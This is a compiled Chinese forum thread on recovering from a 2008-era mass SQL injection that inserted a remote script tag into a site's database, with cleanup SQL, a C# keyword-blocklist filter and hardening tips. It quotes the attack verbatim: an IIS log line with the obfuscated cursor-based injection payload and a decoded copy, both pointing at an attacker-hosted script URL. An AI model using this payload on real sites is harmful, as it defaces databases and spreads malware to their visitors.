1:SQL注入专题--整理帖
http://topic.csdn.net/u/20081205/09/3dd06076-bcbe-45d4-998c-8999fdbe6fae.html
2:sql2000里面有类似Ctrl+F这里查找替换的方法吗?
貌似沒有
3:
update 表一
set 字段一=replace(字段一,' <script src=http://www.*****.***/**.js> </script>', '')
http://topic.csdn.net/u/20081205/09/3dd06076-bcbe-45d4-998c-8999fdbe6fae.html
2:sql2000里面有类似Ctrl+F这里查找替换的方法吗?
貌似沒有
3:
update 表一
set 字段一=replace(字段一,' <script src=http://www.*****.***/**.js> </script>', '')
update 表一
set 字段一=(select replace(字段一,' <script src=http://www.*****.***/**.js> </script>', '') from 表一) ==》
update 表一
set 字段一 = replace(字段一,' <script src=http://www.*****.***/**.js> </script>', '')
where 字段一 like '%<script src=http://www.*****.***/**.js> </script>%'
request,form,cookies等
在数据库里面是存新闻内容的。在sql查询分析器里面运行:update 表一
set 字段一=replace(字段一,' <script src=http://www.*****.***/**.js> </script>', '')
提示:
函数 replace 的参数 1 的数据类型 text 无效。
update 表一
set 字段一=replace(cast(字段一as varchar(8000)),' <script src=http://www.*****.***/**.js> </script>', '')
提示:
SQL Server 内部错误。文本管理器无法继续执行当前语句。
这个问题如何处理呢?
declare @s_str varchar(8000),@d_str varchar(8000)
select @s_str='<script src=http://www.*****.***/**.js> </script>' --要替换的字符串
,@d_str=''--替换成的字符串declare @p varbinary(16),@postion int,@rplen int
select @p=textptr(info),@rplen=len(@s_str),@postion=charindex(@s_str,info)-1 from info
while @postion>0
begin
updatetext info.info @p @postion @rplen @d_str
select @postion=charindex(@s_str,info)-1 from info
end
select * from info
表名:info,该表中的一个被修改字段名也是info,
执行以上代码,发现内容没有变化,不知道问题在哪里?
字段内容末尾被加入"></title><script src=http://s.see9.us/s.js><发现这个问题后,首先想到的是注入,需要寻找注入点
想当两个方案
一、查iis是志
二、跟踪sql server首先查看iis日志,搜索"Update%20",找到很多,如:
2008-**-** 00:17:54 59.39.69.146 - W3SVC1 80 GET show.asp id=8826;dEcLaRe%20@t%20vArChAr(255),@c%20vArChAr(255)%20dEcLaRe%20tAbLe_cursoR%20cUrSoR%20FoR%20select%20a.nAmE,b.nAmE%20FrOm%20sYsObJeCtS%20a,sYsCoLuMnS%20b%20where%20a.iD=b.iD%20AnD%20a.xTyPe='u'%20AnD%20(b.xTyPe=99%20oR%20b.xTyPe=35%20oR%20b.xTyPe=231%20oR%20b.xTyPe=167)%20oPeN%20tAbLe_cursoR%20fEtCh%20next%20FrOm%20tAbLe_cursoR%20iNtO%20@t,@c%20while(@@fEtCh_status=0)%20bEgIn%20exec('Update%20['%2b@t%2b']%20sEt%20['%2b@c%2b']=rtrim(convert(varchar,['%2b@c%2b']))%2bcAsT(0x223E3C2F7469746C653E3C736372697074207372633D687474703A2F2F732E736565392E75732F732E6A733E3C2F7363726970743E3C212D2D%20aS%20vArChAr(67))')%20fEtCh%20next%20FrOm%20tAbLe_cursoR%20iNtO%20@t,@c%20eNd%20cLoSe%20tAbLe_cursoR%20dEAlLoCaTe%20tAbLe_cursoR;-- 302 0 HTTP/1.1 211.68.23.76 Mozilla/4.0 - -看来这就是他的一个注入点了,然后还有很多。找到show.asp页面,果然没有判断id参数。
后来发现有很多页面都可以注入,哎。。改吧老兄
根据日志,我还原了下他url提交的内容为:declare @t varchar(255),@c varchar(255)
declare table_cursor cursor for
select a.name,b.name from sysobjects a,syscolumns b
where a.iD=b.iD AnD a.xtype='u'
AnD (b.xtype=99 or b.xtype=35 or b.xtype=231 or b.xtype=167) open table_cursor fetch next from table_cursor
into @t,@c
while(@@fetch_status=0)
begin
print('update [' + @t + '] set [' + @c + ']=rtrim(convert(varchar,[' + @c + '])) + cast(0x223E3C2F7469746C653E3C736372697074207372633D687474703A2F2F732E736565392E75732F732E6A733E3C2F7363726970743E3C212D2D aS varchar(67))')
fetch next from table_cursor into @t,@c
end
close table_cursor deallocate table_cursor;--反其道而行之,可以如下替换:
declare @t varchar(255),@c varchar(255)
declare table_cursor cursor for
select a.name,b.name from sysobjects a,syscolumns b
where a.iD=b.iD AnD a.xtype='u'
AnD (b.xtype=99 or b.xtype=35 or b.xtype=231 or b.xtype=167)
declare @str varchar(500)
--这里是你要替换的字符
set @str='"></title><script src=http://s.see9.us/s.js></script><!--'
open table_cursor fetch next from table_cursor
into @t,@c while(@@fetch_status=0)
begin
exec('update [' + @t + '] set [' + @c + ']=replace(cast([' + @c + '] as varchar(8000)),'''+@str+''','''')')
fetch next from table_cursor into @t,@c
end
close table_cursor deallocate table_cursor;事实上只能替换掉注入进来的字符串,但无法还原了,因为对方注入时全部都是先截取原来的一部分字符,再加上新的字符.
完全恢复,只能用备份.
update 表 set title=replace(title,'<script src=http://s.see9.us/s.js>','')
如果是text不能修改 则上面的改成下面代码
update 表 set title=replace(cast(title as varchar(8000)),'<script src=http://s.see9.us/s.js>','')
{
//SQL防注入
string Sql_1 = "exec|insert+|select+|delete+|update+|count|chr|mid|master+|truncate|char|declare|drop+|drop+table|creat+|creat+table";
string Sql_2 = "exec+|insert|insert+|delete+|update+|count(|count+|chr+|+mid(|+mid+|+master+|truncate+|char+|+char(|declare+|drop+|creat+|drop+table|creat+table";
string[] sql_c = Sql_1.Split('|');
string[] sql_c1 = Sql_2.Split('|'); if (Request.QueryString != null)
{
foreach (string sl in sql_c)
{
if (Request.QueryString.ToString().ToLower().IndexOf(sl.Trim()) >= 0)
{
Response.Write("请不要使用敏感字符!");//
Response.Write(sl);
Response.Write(Request.QueryString.ToString());
Response.End();
break;
}
}
}
if (Request.Form.Count > 0)
{
string s1 = Request.ServerVariables["SERVER_NAME"].Trim();//服务器名称
if (Request.ServerVariables["HTTP_REFERER"] != null)
{
string s2 = Request.ServerVariables["HTTP_REFERER"].Trim();//http接收的名称
string s3 = "";
if (s1.Length > (s2.Length - 7))
{
s3 = s2.Substring(7);
}
else
{
s3 = s2.Substring(7, s1.Length);
}
if (s3 != s1)
{
Response.Write("请不要使用敏感字符!");//
Response.End();
}
}
}
}
1.下载safe3的防火墙,运行后重启IIS,基本可以屏蔽掉注入
2.将数据库2005的账户访问sysobject视图的select权限拒绝掉,具体方法 点该数据库下的用户右键属性,添加 然后选视图,浏览,然后看到select后拒绝
3.将网站的cookie改成session